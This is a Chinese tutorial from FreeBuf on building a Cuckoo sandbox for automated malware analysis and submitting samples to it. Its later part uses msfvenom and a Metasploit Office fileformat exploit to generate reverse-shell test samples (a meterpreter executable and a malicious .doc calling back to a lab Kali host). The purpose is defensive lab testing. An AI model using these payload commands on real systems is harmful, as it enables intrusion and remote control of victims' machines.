* 本文原创作者:ExpLife,本文属FreeBuf原创奖励计划,未经许可禁止转载
安全研究员平时在进行恶意代码分析的时候,为了避免过多重复繁杂的人工分析,首先会使用沙箱进行自动化分析,如果碰到比较新颖的样本,再考虑进一步人工分析。最近笔者体验了一下布谷鸟这款开源的沙箱即cuckoo sandbox,按照官方文档搭建环境的时候遇到了各种各样安装报错的情况,所以笔者将成功搭建流程以及自动化分析样本的流程记录了下来。
由于笔者的物理机是windows 7 x64,所以首先安装VMware,然后使用VMware创建Ubuntu虚拟机环境.
VMware下载地址: https://download3.vmware.com/software/wkst/file/VMware-workstation-full-12.5.0-4352439.exe ,注册码在网上搜索
Ubuntu下载地址: http://releases.ubuntu.com/16.04/ubuntu-16.04-desktop-amd64.iso
Ubuntu的配置要求:
双核 2G内存 50G硬盘
在windows中使用VMware创建Ubuntu虚拟机非常简单,一直下一步就行了,这里笔者不再赘述.
下面开始在Ubuntu中部署沙箱,由于cuckoo sanbox这款沙箱是基于python环境的,所以我们需要安装很多依赖包。
在命令行shell中依次执行以下系列命令:
apt-get install python
apt-get install python-pip pip install --upgrade pip
sqlalchemy:数据库组件
dpkt:该库用于从PCAP文件中提取信息
jinja2:该库用于渲染HTML报告以及web接口
magic:该库用于识别文件格式
ssdeep:该库用于计算文件的hash
pydeep:该库用于计算文件的ssdeep哈希
pymongo:该库用于存储MongoDB数据库的结果
yara:该库用于匹配yara的特征码
libvirt:该库用于KVM机器的管理
bottepy:该库用于使用web.py以及api.py
pefile:该库用于PE32二进制文件的静态分析
注意:magic和libvirt不能使用pip安装
apt-get install python-magic python-libvirt ssdeep
pip install sqlalchemy dpkt jinja2 pymongo bottle pefile
首先需要安装几个依赖项
apt-get install build-essential git libpcre3 libpcre3-dev libpcre++-dev python-dev libfuzzy-dev
接着将pydeep下载到opt目录下
git clone https://github.com/kbandla/pydeep.git pydeep cd /opt/pydeep/ python setup.py build python setup.py install
还是先安装几个依赖项
apt-get install automake libtool make gcc
由于yara原来svn的项目需要翻墙,这里笔者使用了github的下载地址:
https://github.com/VirusTotal/yara
下载完毕以后将其放到/opt目录下
tar -zxf yara-3.5.0.tar.gz cd yara-3.5.0/ ./bootstrap.sh
如果想修改yara的源代码还需要flex,bison这两个包用于语法解析
apt-get install flex bison
接着编译安装yara:
./configure make make install
然后测试是否安装成功
make check
如果注意前面的编译安装结果的话会发现有缺少OpenSSL库的警告,这里我们安装一下
apt-get install libssl-dev
接下来安装yara-python
pip install yara-python
apt-get install tcpdump
下载地址:
https://cuckoosandbox.org/#downloads
接着将其放到/opt目录下,解压之
tar -zxvf cuckoo-current.tar.gz
首先我们需要安装VirtualBox这个虚拟机软件的Ubuntu版本
下载地址: http://download.virtualbox.org/virtualbox/5.1.10/virtualbox-5.1_5.1.10-112026~Ubuntu~xenial_amd64.deb
下载完毕以后将其拷贝到/opt目录下,接着安装
dpkg -i virtualbox-5.1_5.1.10-112026~Ubuntu~xenial_amd64.deb
然后使用VirtualBox安装windows xp sp3英文版(因为metasploit下生成的很多nday样本目标都是英文版系统和软件)
windows xp sp3 en下载地址:ed2k://|file|en_windows_xp_professional_with_service_pack_3_x86_cd_x14-80428.iso|617756672|2A30BB63730F7887E1AC54363A8489C2|/
windows xp sp3的配置要求:
单核 512内存 10G硬盘网络模式:Host only
xp安装好以后,需要安装VirtualBox增强工具(类似于VMware的VMware Tools)
安装完增强工具后我们才能对宿主机和客户机建立共享文件夹
建立文件夹依次选择VirtualBox菜单项中的Machine-Setting-Shared Folders,设置如下:
配置客户机:
1.为windows安装python
下载地址: https://www.python.org/ftp/python/2.7.13/python-2.7.13.msi
2.安装PIL(Python截屏库)
下载地址: http://effbot.org/media/downloads/PIL-1.1.7.win32-py2.7.exe
3.关闭windows自动更新
4.关闭windows防火墙
5.安装第三方应用程序(MS Office 2003/2007,Adobe Reader 9.3.4,Firefox 3.6等,可以到 http://www.oldapps.com 这个网站去下载旧的软件)
6.Ubuntu /opt/cuckoo/agent目录下的agent.py拷贝到客户机中的c:/python27目录下去,并将agent.py重命名为agent.pyw,这样运行的时候就不会显示控制台窗口了
7.将Python根目录下的agent.pyw的快捷方式放到启动文件夹中去
运行agent.pyw后,我们使用netstat -an命令会发现本地的8000端口正在处于监听状态中
接着将IP配置为192.168.56.101
别忘了对客户机做一个快照,取名为snapshot1,后面对沙箱的配置中会用到.
配置该虚拟机的网络模式为Host-only: 宿主机192.168.56.1 客户机192.168.56.101,确保彼此能ping通
接下来回到Ubuntu中,使用Iptables配置宿主机IP的转发和过滤规则:
iptables -A FORWARD -o eth0 -i vboxnet0 -s 192.168.56.0/24 -m conntrack --ctstate NEW -j ACCEPT iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT iptables -A POSTROUTING -t nat -j MASQUERADE sysctl -w net.ipv4.ip_forward=1
下来继续配置沙箱
git clone https://github.com/kennethreitz/requests.git requests cd requests python setup.py install
pip install python-dateutil
将label = cuckoo1修改为label = 创建虚拟机时候的名称(笔者这里是Windows-cuckoo)
cd /opt/cuckoo ./utils/community.py -wafb monitor
这个更新操作可能等待的时候比较长
/opt/cuckoo/cuckoo.py
像这样表示沙箱启动成功,正在等待提交样本.
要成功运行web管理页面需要安装django 1.85版本,高版本页面渲染会错乱,还需要安装mongodb的数据库软件.这两个软件的安装的过程不再赘述,见下面的参考文章.
启动web页面服务的命令:
python /opt/cuckoo/web/manage.py runserver
效果如下:
提交样本的基本命令:
./utils/submit.py /path/to/binary
提交一个URL:
./utils/submit.py --url http://www.example.com
提交一个本地二进制文件并且指定更高的优先级
./utils/submit.py --priority 5 /path/to/binary
提交一个本地二进制文件并且指定一个自定义的分析超时时间为2分钟:
./utils/submit.py --timeout 120 /path/to/binary
提交一个本地二进制文件并且指定一个自定义的分析包格式(applet/bin/dll/doc/exe/html/ie/jar/pdf/xls/zip):
./utils/submit.py --package <name of package> /path/to/binary
提交一个本地二进制文件并且指定一个自定义的分析包格式以及若干选项(这里,指定恶意程序的命令行参数)
./utils/submit.py --package exe --options arguments=--dosomething /path/to/binary.exe
提交一个本地二进制运行在名称为Windows-cuckoo的虚拟机中:
./utils/submit.py --machine Windows-cuckoo /path/to/binary
提交一个本地二进制运行在特定的机器中(Windows/Darwin/Linux),这里我们用Windows:
./utils/submit.py --platform windows /path/to/binary
提交一个本地二进制并且抓取分析机器的完整内存dump文件:
./utils/submit.py --memory /path/to/binary
提交一个本地二进制并且强制执行分析完全超时(忽略cuckoo内存决定何时终止分析的机制):
./utils/submit.py --enforce-timeout /path/to/binary
下面我们尝试提交各种恶意样本
这里为了方便测试各种恶意样本,笔者使用Kali 2.0中的metasploit来生成恶意样本.
Kali 2.0的安装教程网上非常多,这里笔者不再赘述.
我们首先需要更新Kali,这样metasploit等工具就会是最新版本的了
首先我们要修改更新的源,不让更新会很慢,这里笔者修改为阿里云的源了
vim /etc/apt/sources.list
然后输入100dd删除该文件中的所有内容.
接着在该文件中输入阿里云的源:
deb http://mirrors.aliyun.com/kali sana main non-free contrib deb http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free deb-src http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free
接着输入:wq保存该文件
然后更新Kali即可
apt-get update apt-get upgrade apt-get dist-upgrade apt-get clean
更新完毕以后即可利用shell打开metasploit控制台
msfconsole
可以看到metasploit已经更新到最新版本了.
利用msfvenom生成exe后门程序并提交到沙箱
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f exe > malware.exe
接着将该exe提交到沙箱中
/opt/cuckoo/utlils/submit.py /opt/samples/malware.exe
过一会儿就分析完成了
到cuckoo/storage/analyses/1/reports下面去找到report.html这个报告文件即可,这个1对应与提交时候对应的编号
这里我们可以看到这是一个PE文件.继续往下看
可以看到反弹的IP地址定位出来了.
下面还有样本调用相关系统API函数的情况
这里VirusTotal没有结果是因为现在访问它需要注册帐号还有对应key了,所以笔者这里并没有显示出结果,我们可以选用下面的这些扫描网站
https://www.metadefender.com
http://www.virscan.org/
利用metasploit生成doc,excel,pdf样本并提交沙箱
在metasploit的控制台下输入
search office
也可以搜索任意指定的搜索项
search ms08_067
可以看到结果中有很多office相关的漏洞利用代码
这里笔者选用ms09_067_excel_featheader这个漏洞利用模块,使用use命令表示将指定exploit设置为待用状态
use exploit/windows/fileformat/ms11_006_createsizeddibsection
接着查看一下能够攻击的目标操作系统版本
show targets
可以看到有XP SP3,接着查看一下需要设置哪些选项
show options
可以看到只需要设置生成的doc命令,我们这里将名称设置为malware.doc
set FILENAME malware.doc
接着需要设置payload,也就是需要使用完成什么任务的shellcode,这里我们先查看一下有哪些payload可以使用
show payloads
这里笔者使用这个反弹的shell,所以将payload设置为它
set payload windows/shell/reverse_tcp
接着查看一下该payload需要设置什么选项,一般来说有反弹端口什么的
show options
可以看到本地端口默认的为4444,我们只需要设置一下反弹的IP地址即可,这里笔者设置为kali的ip地址
set LHOST 192.168.56.102
接着生成该漏洞利用的样本
exploit
生成pdf,excel样本的流程同上所述,这里笔者不再赘述.
接下来将doc,pdf,excel样本依次提交沙箱分析
/opt/cuckoo/utlils/submit.py /opt/samples/malware.doc /opt/cuckoo/utlils/submit.py /opt/samples/malware.pdf /opt/cuckoo/utlils/submit.py /opt/samples/malware.xls
分析结果如下:
该沙箱还可以用于分析指定网页是否被挂马,嘿嘿,可以对童鞋们收藏的某些爱情动作片网站进行提交分析.
使用该沙箱对样本进行初略的分析还是挺方便的.该沙箱还可以与Volatility工具进行配合使用, Volatility这款python工具是一款非常强大的内存取证分析工具,支持对linux,windows,macos等系统的内存取证分析.
后续文章笔者再一一介绍.
参考链接:
http://docs.cuckoosandbox.org/en/latest/
http://www.freebuf.com/sectool/108533.html
http://blog.csdn.net/qq_21127151/article/details/51600319
http://blog.csdn.net/donggege214/article/details/52679229
* 本文原创作者:ExpLife,本文属FreeBuf原创奖励计划,未经许可禁止转载